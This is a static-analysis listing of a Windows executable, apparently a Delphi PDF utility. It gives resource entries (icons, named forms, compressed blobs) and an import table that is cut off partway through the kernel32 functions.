RT_RCDATA	0x9f39c8	0xcb5	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0033814940055334
RT_RCDATA	0x9f4680	0xcb0	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0033866995073892
RT_RCDATA	0x9f5330	0xd56	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0032220269478618
RT_RCDATA	0x9f6088	0xd47	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0032362459546926
RT_RCDATA	0x9f6dd0	0xdc2	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0031232254400908
RT_RCDATA	0x9f7b94	0xdc5	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0031205673758865
RT_RCDATA	0x9f895c	0xcf3	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.003318250377074
RT_RCDATA	0x9f9650	0xced	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0033242671501965
RT_RCDATA	0x9fa340	0xda9	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0031455533314269
RT_RCDATA	0x9fb0ec	0xda6	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0031482541499714
RT_RCDATA	0x9fbe94	0xcf3	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.003318250377074
RT_RCDATA	0x9fcb88	0xced	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0033242671501965
RT_RCDATA	0x9fd878	0x10	data			1.5
RT_RCDATA	0x9fd888	0x148b	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0020916524054002
RT_RCDATA	0x9fed14	0x111e	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0025102692834322
RT_RCDATA	0x9ffe34	0xd8c	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0031718569780854
RT_RCDATA	0xa00bc0	0x15e0	data			0.435
RT_RCDATA	0xa021a0	0x2	data	English	United States	5.0
RT_RCDATA	0xa021a4	0xe65a	Delphi compiled form 'Tfrm_About'			0.9792606410039003
RT_RCDATA	0xa10800	0x14c3	Delphi compiled form 'Tfrm_Delete'			0.34111006585136405
RT_RCDATA	0xa11cc4	0x1233	Delphi compiled form 'Tfrm_DOCtoPDF'			0.35651427344923803
RT_RCDATA	0xa12ef8	0x1bf1	Delphi compiled form 'Tfrm_Encrypt'			0.31553194463861317
RT_RCDATA	0xa14aec	0x1354	Delphi compiled form 'Tfrm_Extract'			0.34620048504446244
RT_RCDATA	0xa15e40	0x5b8	Delphi compiled form 'Tfrm_ExtractText'			0.5095628415300546
RT_RCDATA	0xa163f8	0x14e3	Delphi compiled form 'Tfrm_ImagetoPDF'			0.3596409201421358
RT_RCDATA	0xa178dc	0xf9e	Delphi compiled form 'Tfrm_Info'			0.3114057028514257
RT_RCDATA	0xa1887c	0x157f	Delphi compiled form 'Tfrm_InsertMove'			0.34217699436670906
RT_RCDATA	0xa19dfc	0xb88	Delphi compiled form 'Tfrm_Key'			0.8167344173441734
RT_RCDATA	0xa1a984	0x17d53	Delphi compiled form 'Tfrm_Main'			0.4803368196764974
RT_RCDATA	0xa326d8	0xf5a	Delphi compiled form 'Tfrm_Metadata'			0.3697201017811705
RT_RCDATA	0xa33634	0x4bb	Delphi compiled form 'Tfrm_Options'			0.5136251032204789
RT_RCDATA	0xa33af0	0x3b0	Delphi compiled form 'Tfrm_Password'			0.5720338983050848
RT_RCDATA	0xa33ea0	0xf94	Delphi compiled form 'Tfrm_PDFtoDOC'			0.3688565697091274
RT_RCDATA	0xa34e34	0xf61	Delphi compiled form 'Tfrm_PDFtoImage'			0.36423672847345695
RT_RCDATA	0xa35d98	0xf64	Delphi compiled form 'Tfrm_PDFtoPDF'			0.3774111675126904
RT_RCDATA	0xa36cfc	0xf38	Delphi compiled form 'Tfrm_PDFtoTXT'			0.37217659137577
RT_RCDATA	0xa37c34	0x4b1b	Delphi compiled form 'Tfrm_Preview'			0.6656784729807043
RT_RCDATA	0xa3c750	0x4bf	Delphi compiled form 'Tfrm_ProcessText'			0.5242798353909465
RT_RCDATA	0xa3cc10	0x1273	Delphi compiled form 'Tfrm_Rename'			0.3506246030065636
RT_RCDATA	0xa3de84	0x1b20	Delphi compiled form 'Tfrm_RotateCrop'			0.2955069124423963
RT_RCDATA	0xa3f9a4	0x354	Delphi compiled form 'Tfrm_Search'			0.5915492957746479
RT_RCDATA	0xa3fcf8	0x24ae	Delphi compiled form 'Tfrm_Sign'			0.24877529286474973
RT_RCDATA	0xa421a8	0x1469	Delphi compiled form 'Tfrm_Split'			0.3508133971291866
RT_RCDATA	0xa43614	0x5575	Delphi compiled form 'Tfrm_Trial'			0.8870046167207569
RT_RCDATA	0xa48b8c	0x14e6	Delphi compiled form 'Tfrm_TXTtoPDF'			0.37009345794392523
RT_RCDATA	0xa4a074	0x978	Delphi compiled form 'Tfrm_Update'			0.7326732673267327
RT_RCDATA	0xa4a9ec	0x139f	Delphi compiled form 'Tfrm_Upgrade'			0.4690424049372885
RT_RCDATA	0xa4bd8c	0x2a5d	Delphi compiled form 'Tfrm_Watermark'			0.35813739050253574
RT_RCDATA	0xa4e7ec	0x2add	Delphi compiled form 'Tfrm_WatermarkNum'			0.35477991433518635
RT_RCDATA	0xa512cc	0x2bdb	Delphi compiled form 'Tfrm_WatermarkText'			0.35387904159615213
RT_RCDATA	0xa53ea8	0x16ea	zlib compressed data	English	Australia	1.001875213092397
RT_RCDATA	0xa55594	0x560	zlib compressed data	English	Australia	1.0079941860465116
RT_RCDATA	0xa55af4	0x1693	zlib compressed data	English	Australia	1.001903443502336
RT_RCDATA	0xa57188	0x1721	zlib compressed data	English	Australia	1.0018577942915048
RT_RCDATA	0xa588ac	0x567	zlib compressed data	English	Australia	1.0079537237888647
RT_RCDATA	0xa58e14	0x55d	zlib compressed data	English	Australia	1.0080116533139112
RT_RCDATA	0xa59374	0x1996	zlib compressed data	English	Australia	1.0016793893129772
RT_RCDATA	0xa5ad0c	0x6d5	zlib compressed data	English	Australia	1.0062893081761006
RT_RCDATA	0xa5b3e4	0xb87	zlib compressed data	English	Australia	1.0037275499830567
RT_RCDATA	0xa5bf6c	0xa22	zlib compressed data	English	Australia	1.0042405551272167
RT_RCDATA	0xa5c990	0x6df	zlib compressed data	English	Australia	1.006253553155202
RT_RCDATA	0xa5d070	0xa05	zlib compressed data	English	Australia	1.0042884990253411
RT_RCDATA	0xa5da78	0x6d3	zlib compressed data	English	Australia	1.0062965082999427
RT_RCDATA	0xa5e14c	0xc96	zlib compressed data	English	Australia	1.0024829298572315
RT_RCDATA	0xa5ede4	0x623	zlib compressed data	English	Australia	1.0070019096117122
RT_RCDATA	0xa5f408	0x16e5	zlib compressed data	English	Australia	1.001876812830575
RT_RCDATA	0xa60af0	0x176f	zlib compressed data	English	Australia	1.0018336389398232
RT_RCDATA	0xa62260	0x64d	zlib compressed data	English	Australia	1.0068195908245505
RT_RCDATA	0xa628b0	0x642	zlib compressed data	English	Australia	1.0068664169787764
RT_RCDATA	0xa62ef4	0x68c	zlib compressed data	English	Australia	1.0041766109785202
RT_RCDATA	0xa63580	0x6e3	zlib compressed data	English	Australia	1.0062393647192285
RT_RCDATA	0xa63c64	0x6ea	zlib compressed data	English	Australia	1.0062146892655368
RT_RCDATA	0xa64350	0x713	zlib compressed data	English	Australia	1.0060739922694644
RT_RCDATA	0xa64a64	0x71a	zlib compressed data	English	Australia	1.006050605060506
RT_RCDATA	0xa65180	0x71a	zlib compressed data	English	Australia	1.006050605060506
RT_RCDATA	0xa6589c	0x71b	zlib compressed data	English	Australia	1.006047278724574
RT_RCDATA	0xa65fb8	0x5be	zlib compressed data	English	Australia	1.0074829931972789
RT_RCDATA	0xa66578	0x607	zlib compressed data	English	Australia	1.0071289695398573
RT_RCDATA	0xa66b80	0x785	zlib compressed data	English	Australia	1.0057142857142858
RT_RCDATA	0xa67308	0x783	zlib compressed data	English	Australia	1.0041601664066562
RT_RCDATA	0xa67a8c	0x856	zlib compressed data	English	Australia	0.9915651358950328
RT_RCDATA	0xa682e4	0x87f	zlib compressed data	English	Australia	0.9862068965517241
RT_RCDATA	0xa68b64	0x5d5	zlib compressed data	English	Australia	1.0073677160080374
RT_RCDATA	0xa6913c	0x5d7	zlib compressed data	English	Australia	1.0073578595317725
RT_RCDATA	0xa69714	0x5e5	zlib compressed data	English	Australia	1.0072895957587806
RT_RCDATA	0xa69cfc	0x5ea	zlib compressed data	English	Australia	1.0072655217965654
RT_RCDATA	0xa6a2e8	0x6ac	zlib compressed data	English	Australia	1.006440281030445
RT_RCDATA	0xa6a994	0x744	zlib compressed data	English	Australia	1.0059139784946236
RT_RCDATA	0xa6b0d8	0x79c	zlib compressed data	English	Australia	0.9994866529774127
RT_RCDATA	0xa6b874	0x5ee	zlib compressed data	English	Australia	1.0072463768115942
RT_RCDATA	0xa6be64	0x709	zlib compressed data	English	Australia	1.0038867295946696
RT_RCDATA	0xa6c570	0x704	zlib compressed data	English	Australia	1.0011135857461024
RT_RCDATA	0xa6cc74	0xca6	zlib compressed data	English	Australia	1.003397158739963
RT_RCDATA	0xa6d91c	0x4f7	zlib compressed data	English	Australia	1.008654602675059
RT_RCDATA	0xa6de14	0xcbf	zlib compressed data	English	Australia	1.0033711308611708
RT_RCDATA	0xa6ead4	0x4f9	zlib compressed data	English	Australia	1.0086410054988217
RT_RCDATA	0xa6efd0	0xff1	zlib compressed data	English	Australia	0.9960793923058074
RT_RCDATA	0xa6ffc4	0x10f5	zlib compressed data	English	Australia	0.9944713199723566
RT_RCDATA	0xa710bc	0x961	zlib compressed data	English	Australia	1.0045814244064972
RT_RCDATA	0xa71a20	0x4f3	zlib compressed data	English	Australia	1.0086819258089976
RT_RCDATA	0xa71f14	0x755	zlib compressed data	English	Australia	1.0
RT_RCDATA	0xa7266c	0x481	zlib compressed data	English	Australia	1.0095403295750216
RT_RCDATA	0xa72af0	0xd00	zlib compressed data	English	Australia	1.0033052884615385
RT_RCDATA	0xa737f0	0x50b	zlib compressed data	English	Australia	1.0085205267234703
RT_RCDATA	0xa73cfc	0x496	zlib compressed data	English	Australia	1.0093696763202726
RT_RCDATA	0xa74194	0x521	zlib compressed data	English	Australia	1.0083777608530085
RT_RCDATA	0xa746b8	0x24e0	zlib compressed data	English	Australia	1.0011652542372882
RT_RCDATA	0xa76b98	0x501	zlib compressed data	English	Australia	1.0085870413739266
RT_RCDATA	0xa7709c	0x89b	zlib compressed data	English	Australia	0.9995460735360872
RT_RCDATA	0xa77938	0x568	zlib compressed data	English	Australia	1.0079479768786128
RT_RCDATA	0xa77ea0	0x17ca	zlib compressed data	English	Australia	1.0018062397372742
RT_RCDATA	0xa7966c	0x1856	zlib compressed data	English	Australia	1.0017656500802568
RT_RCDATA	0xa7aec4	0x5cf	zlib compressed data	English	Australia	1.007397444519166
RT_RCDATA	0xa7b494	0x5c8	zlib compressed data	English	Australia	1.0074324324324324
RT_RCDATA	0xa7ba5c	0x7bd	zlib compressed data	English	Australia	0.9919232710752145
RT_RCDATA	0xa7c21c	0x537	zlib compressed data	English	Australia	1.0082397003745318
RT_RCDATA	0xa7c754	0x783	zlib compressed data	English	Australia	0.9958398335933437
RT_RCDATA	0xa7ced8	0x535	zlib compressed data	English	Australia	1.0082520630157539
RT_RCDATA	0xa7d410	0x75ab	zlib compressed data	English	Australia	1.0004315639212562
RT_RCDATA	0xa849bc	0x531	zlib compressed data	English	Australia	1.0082768999247556
RT_RCDATA	0xa84ef0	0x8360	zlib compressed data	English	Australia	0.904198382492864
RT_RCDATA	0xa8d250	0x5ca	zlib compressed data	English	Australia	1.0074224021592442
RT_RCDATA	0xa8d81c	0x75a1	zlib compressed data	English	Australia	1.0005313319828646
RT_RCDATA	0xa94dc0	0x532	zlib compressed data	English	Australia	1.0082706766917293
RT_RCDATA	0xa952f4	0x7ca	zlib compressed data	English	Australia	0.9944834503510531
RT_RCDATA	0xa95ac0	0x53a	zlib compressed data	English	Australia	1.008221225710015
RT_RCDATA	0xa95ffc	0x45ba	zlib compressed data	English	Australia	0.9930532212885154
RT_RCDATA	0xa9a5b8	0x53b	zlib compressed data	English	Australia	1.0082150858849888
RT_RCDATA	0xa9aaf4	0x4521	zlib compressed data	English	Australia	0.9952534327852178
RT_RCDATA	0xa9f018	0x537	zlib compressed data	English	Australia	1.0082397003745318
RT_RCDATA	0xa9f550	0x45ca	zlib compressed data	English	Australia	0.9933952759431323
RT_RCDATA	0xaa3b1c	0x53d	zlib compressed data	English	Australia	1.0082028337061895
RT_RCDATA	0xaa405c	0x852	zlib compressed data	English	Australia	1.003286384976526
RT_RCDATA	0xaa48b0	0x4f2	zlib compressed data	English	Australia	1.0086887835703002
RT_RCDATA	0xaa4da4	0x4e5	zlib compressed data	English	Australia	1.0087789305666401
RT_RCDATA	0xaa528c	0x2220	zlib compressed data	English	Australia	0.9892399267399268
RT_RCDATA	0xaa74ac	0x4f6	zlib compressed data	English	Australia	1.0086614173228345
RT_RCDATA	0xaa79a4	0x1f1f	zlib compressed data	English	Australia	0.9870716706413958
RT_RCDATA	0xaa98c4	0x4f6	zlib compressed data	English	Australia	1.0086614173228345
RT_RCDATA	0xaa9dbc	0x15dc	zlib compressed data	English	Australia	1.001965689778413
RT_RCDATA	0xaab398	0x4f7	zlib compressed data	English	Australia	1.008654602675059
RT_RCDATA	0xaab890	0x1523	zlib compressed data	English	Australia	0.9955645906486786
RT_RCDATA	0xaacdb4	0x4f7	zlib compressed data	English	Australia	1.008654602675059
RT_RCDATA	0xaad2ac	0x18e5	zlib compressed data	English	Australia	0.9937235211046603
RT_RCDATA	0xaaeb94	0x4f7	zlib compressed data	English	Australia	1.008654602675059
RT_RCDATA	0xaaf08c	0x24fb	zlib compressed data	English	Australia	1.0011619309179254
RT_RCDATA	0xab1588	0x501	zlib compressed data	English	Australia	1.0085870413739266
RT_RCDATA	0xab1a8c	0xc79	zlib compressed data	English	Australia	0.9004071406201065
RT_RCDATA	0xab2708	0x473	zlib compressed data	English	Australia	1.009657594381036
RT_RCDATA	0xab2b7c	0x4b5	zlib compressed data	English	Australia	1.0091286307053942
RT_RCDATA	0xab3034	0x1262	zlib compressed data	English	Australia	1.002337441563961
RT_RCDATA	0xab4298	0x51f	zlib compressed data	English	Australia	1.0083905415713197
RT_RCDATA	0xab47b8	0x1219	zlib compressed data	English	Australia	1.0023742715303259
RT_RCDATA	0xab59d4	0x78d2	zlib compressed data	English	Australia	0.9838021338506304
RT_RCDATA	0xabd2a8	0x526	zlib compressed data	English	Australia	1.0083459787556905
RT_RCDATA	0xabd7d0	0x51c	zlib compressed data	English	Australia	1.0084097859327217
RT_RCDATA	0xabdcec	0x18d8	zlib compressed data	English	Australia	0.9770440251572327
RT_RCDATA	0xabf5c4	0x18d6	zlib compressed data	English	Australia	0.9767222396980182
RT_RCDATA	0xac0e9c	0x51c	zlib compressed data	English	Australia	1.0084097859327217
RT_RCDATA	0xac13b8	0x523	zlib compressed data	English	Australia	1.0083650190114068
RT_RCDATA	0xac18dc	0x13ab	zlib compressed data	English	Australia	1.0021847070506456
RT_RCDATA	0xac2c88	0x521	zlib compressed data	English	Australia	1.0083777608530085
RT_RCDATA	0xac31ac	0x1a53	zlib compressed data	English	Australia	1.0016322896572192
RT_RCDATA	0xac4c00	0x5f7	zlib compressed data	English	Australia	1.0072036673215454
RT_RCDATA	0xac51f8	0x8b7	zlib compressed data	English	Australia	0.9986553115194979
RT_RCDATA	0xac5ab0	0x56f	zlib compressed data	English	Australia	1.0079079798705968
RT_RCDATA	0xac6020	0x4a4	zlib compressed data	English	Australia	1.0092592592592593
RT_RCDATA	0xac64c4	0x1b4ca	zlib compressed data	English	Australia	0.9957430825090773
RT_RCDATA	0xae1990	0x502	zlib compressed data	English	Australia	1.0085803432137286
RT_RCDATA	0xae1e94	0x172f7	zlib compressed data	English	Australia	1.0003790790485116
RT_RCDATA	0xaf918c	0x504	zlib compressed data	English	Australia	1.0085669781931463
RT_RCDATA	0xaf9690	0x18748	zlib compressed data	English	Australia	1.000409312355243
RT_RCDATA	0xb11dd8	0x50a	zlib compressed data	English	Australia	1.0085271317829458
RT_RCDATA	0xb122e4	0x17d19	zlib compressed data	English	Australia	1.00036899990775
RT_RCDATA	0xb2a000	0x509	zlib compressed data	English	Australia	1.008533747090768
RT_RCDATA	0xb2a50c	0x17542	zlib compressed data	English	Australia	0.9973104213324403
RT_RCDATA	0xb41a50	0x553	zlib compressed data	English	Australia	1.008070432868672
RT_RCDATA	0xb41fa4	0x13140	zlib compressed data	English	Australia	1.0001535626535627
RT_RCDATA	0xb550e4	0x530	zlib compressed data	English	Australia	1.0082831325301205
RT_RCDATA	0xb55614	0x142cb	zlib compressed data	English	Australia	0.9997579718037152
RT_RCDATA	0xb698e0	0x13ce6	zlib compressed data	English	Australia	0.9998397554421518
RT_RCDATA	0xb7d5c8	0x537	zlib compressed data	English	Australia	1.0082397003745318
RT_RCDATA	0xb7db00	0xe4bc	zlib compressed data	English	Australia	0.9999316893230412
RT_RCDATA	0xb8bfbc	0x4bd	zlib compressed data	English	Australia	1.0090684253915911
RT_RCDATA	0xb8c47c	0xa18	zlib compressed data	English	Australia	1.0042569659442724
RT_RCDATA	0xb8ce94	0x9f8	zlib compressed data	English	Australia	1.0043103448275863
RT_RCDATA	0xb8d88c	0x11690	zlib compressed data	English	Australia	1.0004347094458155
RT_RCDATA	0xb9ef1c	0x917	zlib compressed data	English	Australia	1.00472711645896
RT_RCDATA	0xb9f834	0x1258f	zlib compressed data	English	Australia	1.0004125028276403
RT_RCDATA	0xbb1dc4	0x968	zlib compressed data	English	Australia	1.0045681063122924
RT_RCDATA	0xbb272c	0x11b01	zlib compressed data	English	Australia	1.000427887203412
RT_RCDATA	0xbc4230	0x94d	zlib compressed data	English	Australia	1.004619907601848
RT_RCDATA	0xbc4b80	0x116c9	zlib compressed data	English	Australia	1.0004343622581233
RT_RCDATA	0xbd624c	0x919	zlib compressed data	English	Australia	1.0047230571060541
RT_RCDATA	0xbd6b68	0x12600	zlib compressed data	English	Australia	1.0004118835034013
RT_RCDATA	0xbe9168	0x96b	zlib compressed data	English	Australia	1.0045624222314393
RT_RCDATA	0xbe9ad4	0x11b82	zlib compressed data	English	Australia	1.0004271266775056
RT_RCDATA	0xbfb658	0x951	zlib compressed data	English	Australia	1.0046121593291404
RT_RCDATA	0xbfbfac	0xa45	zlib compressed data	English	Australia	1.00418410041841
RT_RCDATA	0xbfc9f4	0xa20	zlib compressed data	English	Australia	1.0042438271604939
RT_RCDATA	0xbfd414	0xa50	zlib compressed data	English	Australia	1.0041666666666667
RT_RCDATA	0xbfde64	0x1254d	zlib compressed data	English	Australia	1.0004128654191915
RT_RCDATA	0xc103b4	0x975	zlib compressed data	English	Australia	1.0045435770342834
RT_RCDATA	0xc10d2c	0x125cc	zlib compressed data	English	Australia	1.0004121682710205
RT_RCDATA	0xc232f8	0x978	zlib compressed data	English	Australia	1.0045379537953796
RT_RCDATA	0xc23c70	0xe84d	zlib compressed data	English	Australia	0.9976290167986682
RT_RCDATA	0xc324c0	0x52d	zlib compressed data	English	Australia	1.008301886792453
RT_RCDATA	0xc329f0	0xc03c	zlib compressed data	English	Australia	1.0004267251889782
RT_RCDATA	0xc3ea2c	0x520	zlib compressed data	English	Australia	1.0083841463414633
RT_RCDATA	0xc3ef4c	0xcb60	zlib compressed data	English	Australia	1.0000960356484327
RT_RCDATA	0xc4baac	0x528	zlib compressed data	English	Australia	1.0083333333333333
RT_RCDATA	0xc4bfd4	0xc70d	zlib compressed data	English	Australia	1.0005102341189631
RT_RCDATA	0xc586e4	0x528	zlib compressed data	English	Australia	1.0083333333333333
RT_RCDATA	0xc58c0c	0x563	zlib compressed data	English	Australia	1.0079767947788252
RT_RCDATA	0xc59170	0x573	zlib compressed data	English	Australia	1.0078853046594982
RT_RCDATA	0xc596e4	0x829e	zlib compressed data	English	Australia	1.0006280279921047
RT_RCDATA	0xc61984	0x1c46c	zlib compressed data	English	Australia	0.924391296839924
RT_RCDATA	0xc7ddf0	0x8011	zlib compressed data	English	Australia	0.9996949824614916
RT_RCDATA	0xc85e04	0x85ce	zlib compressed data	English	Australia	1.0006130670870554
RT_RCDATA	0xc8e3d4	0xbec	color profile 2.0, RGB/XYZ-mntr device, 3052 bytes, 27-3-2009 21:37:45, 0x1 vendor attribute, relative colorimetric, 0xc95bd637e95d8a3b MD5 "sRGB IEC61966-2-1 no black scaling"	English	United States	0.8502621231979031
RT_RCDATA	0xc8efc0	0x6cdb	zlib compressed data	English	Southern Africa	1.0005741558115333
RT_RCDATA	0xc95c9c	0x64b4	zlib compressed data	English	Southern Africa	0.9968968192397207
RT_GROUP_CURSOR	0xc9c150	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0xc9c164	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc9c178	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0xc9c18c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc9c1a0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc9c1b4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc9c1c8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc9c1dc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0xc9c1f0	0x3e	data	English	United States	0.8225806451612904
RT_VERSION	0xc9c230	0x37c	data	English	United States	0.46524663677130046
RT_MANIFEST	0xc9c5ac	0x6dc	XML 1.0 document, ASCII text, with CRLF line terminators	English	Great Britain	0.3331435079726651

Imports

DLL	Import
mpr.dll	WNetEnumResourceW, WNetGetUniversalNameW, WNetCloseEnum, WNetOpenEnumW
winmm.dll	timeGetTime
shlwapi.dll	PathMatchSpecW, StrRetToStrW
FontSub.dll	CreateFontPackage
wininet.dll	InternetCloseHandle, InternetReadFile, InternetOpenW, InternetOpenUrlW, HttpQueryInfoW
winspool.drv	DocumentPropertiesW, ClosePrinter, OpenPrinterW, GetDefaultPrinterW, EnumPrintersW
comdlg32.dll	ChooseFontW, GetSaveFileNameW, GetOpenFileNameW
comctl32.dll	FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, ImageList_GetDragImage, FlatSB_SetScrollProp, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, ImageList_Copy, FlatSB_GetScrollInfo, ImageList_Write, ImageList_SetBkColor, ImageList_GetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_Replace, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_Draw, ImageList_Remove, ImageList_ReplaceIcon, ImageList_SetOverlayImage
shell32.dll	SHBrowseForFolderW, SHBindToParent, DragQueryFileW, SHGetSpecialFolderLocation, ILCombine, Shell_NotifyIconW, SHCreateShellItem, SHGetDataFromIDListW, SHGetPathFromIDListW, ShellExecuteExW, ILFindLastID, ILGetNext, SHChangeNotifyDeregister, ILCreateFromPathW, ILFindChild, SHGetFileInfoW, SHGetDesktopFolder, ILRemoveLastID, ILFree, ILClone, IsUserAnAdmin, SHChangeNotification_Unlock, ShellExecuteW
user32.dll	CopyImage, SetMenuItemInfoW, GetMenuItemInfoW, DefFrameProcW, GetDlgCtrlID, FrameRect, RegisterWindowMessageW, GetMenuStringW, FillRect, SendMessageA, IsClipboardFormatAvailable, EnumWindows, ShowOwnedPopups, GetClassInfoExW, GetClassInfoW, GetScrollRange, SetActiveWindow, GetActiveWindow, DrawEdge, GetKeyboardLayoutList, LoadBitmapW, EnumChildWindows, GetScrollBarInfo, UnhookWindowsHookEx, SetCapture, GetCapture, ShowCaret, CreatePopupMenu, GetMenuItemID, CharLowerBuffW, PostMessageW, SetWindowLongW, IsZoomed, SetParent, DrawMenuBar, GetClientRect, IsChild, SendDlgItemMessageW, IntersectRect, IsIconic, CallNextHookEx, ShowWindow, GetWindowTextW, SetForegroundWindow, IsDialogMessageW, DestroyWindow, RegisterClassW, EndMenu, CharNextW, GetFocus, GetDC, SetFocus, ReleaseDC, GetClassLongW, SetScrollRange, DrawTextW, PeekMessageA, MessageBeep, SetClassLongW, RemovePropW, GetSubMenu, DestroyIcon, IsWindowVisible, PtInRect, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, GetComboBoxInfo, LoadStringW, CreateMenu, CharLowerW, SetWindowRgn, SetWindowPos, GetMenuItemCount, wvsprintfA, GetSysColorBrush, GetWindowDC, DrawTextExW, CharLowerBuffA, EnumClipboardFormats, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, GetSysColor, EnableScrollBar, TrackPopupMenu, DrawIconEx, GetClassNameW, GetMessagePos, GetIconInfo, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, SetCursorPos, GetCursorPos, SetMenu, GetMenuState, GetMenu, SetRect, GetKeyState, IsRectEmpty, GetCursor, KillTimer, WaitMessage, TranslateMDISysAccel, GetWindowPlacement, GetMenuItemRect, CreateIconIndirect, CreateWindowExW, ChildWindowFromPoint, GetDCEx, PeekMessageW, MonitorFromWindow, GetUpdateRect, MessageBoxA, SetTimer, WindowFromPoint, BeginPaint, RegisterClipboardFormatW, MapVirtualKeyW, OffsetRect, IsWindowUnicode, DispatchMessageW, DefMDIChildProcW, GetSystemMenu, SetScrollPos, GetScrollPos, InflateRect, IsCharAlphaNumericA, DrawFocusRect, ReleaseCapture, LoadCursorW, ScrollWindow, GetLastActivePopup, GetSystemMetrics, CharUpperBuffW, SetClipboardData, GetClipboardData, ClientToScreen, SetWindowPlacement, GetMonitorInfoW, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, EnableWindow, GetWindowThreadProcessId, RedrawWindow, EndPaint, MsgWaitForMultipleObjectsEx, TrackMouseEvent, LoadKeyboardLayoutW, ActivateKeyboardLayout, GetParent, InsertMenuItemW, GetPropW, MessageBoxW, SetPropW, UpdateWindow, MsgWaitForMultipleObjects, DestroyMenu, SetWindowsHookExW, EmptyClipboard, GetDlgItem, AdjustWindowRectEx, IsWindow, DrawIcon, EnumThreadWindows, InvalidateRect, GetKeyboardState, ScreenToClient, DrawFrameControl, IsCharAlphaNumericW, SetCursor, CreateIcon, RemoveMenu, GetKeyboardLayoutNameW, OpenClipboard, TranslateMessage, MapWindowPoints, EnumDisplayMonitors, CallWindowProcW, CloseClipboard, DestroyCursor, PostQuitMessage, ShowScrollBar, EnableMenuItem, HideCaret, FindWindowExW, MonitorFromPoint, LoadIconW, SystemParametersInfoW, GetWindow, GetWindowLongW, GetWindowRect, InsertMenuW, IsWindowEnabled, IsDialogMessageA, FindWindowW, GetKeyboardLayout, DeleteMenu
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
oleaut32.dll	GetErrorInfo, SysFreeString, VariantClear, VariantInit, SysReAllocStringLen, SafeArrayCreate, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, VariantChangeType, VariantCopyInd
advapi32.dll	RegFlushKey, RegQueryValueExW, RegCloseKey, RegOpenKeyExW
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
msvcrt.dll	memcpy, memset
kernel32.dll	SetFileAttributesW, GetFileType, QueryDosDeviceW, GetACP, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, TerminateThread, QueryPerformanceFrequency, IsDebuggerPresent, FindNextFileW, GetFullPathNameW, VirtualFree, ExitProcess, HeapAlloc, GetCPInfoExW, GlobalSize, GetLongPathNameW, RtlUnwind, GetCPInfo, GetStdHandle, GetTimeZoneInformation, FileTimeToLocalFileTime, GetModuleHandleW, FreeLibrary, HeapDestroy, FileTimeToDosDateTime, ReadFile, GetLastError, GetModuleFileNameW, SetLastError, GlobalAlloc, GlobalUnlock, FindResourceW, CreateThread, CompareStringW, CopyFileW, MapViewOfFile, LoadLibraryA, GetVolumeInformationW, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, GlobalAddAtomW, FormatMessageW, SwitchToThread, GetExitCodeThread, OutputDebugStringW, GetCurrentThread, GetFileAttributesExW, ExpandEnvironmentStringsW, LoadLibraryExW, LockResource, FileTimeToSystemTime, GetShortPathNameW, GetCurrentThreadId, UnhandledExceptionFilter, GlobalFindAtomW, VirtualQuery, GlobalFree, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetTempFileNameW, GetFileSize, GlobalDeleteAtom, GetStartupInfoW, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetThreadPriority, GetCurrentProcess, SetThreadPriority, GlobalLock, VirtualAlloc, GetTempPathW, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetLogicalDriveStringsW, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, DeviceIoControl, GetDiskFreeSpaceW, VerSetConditionMask, 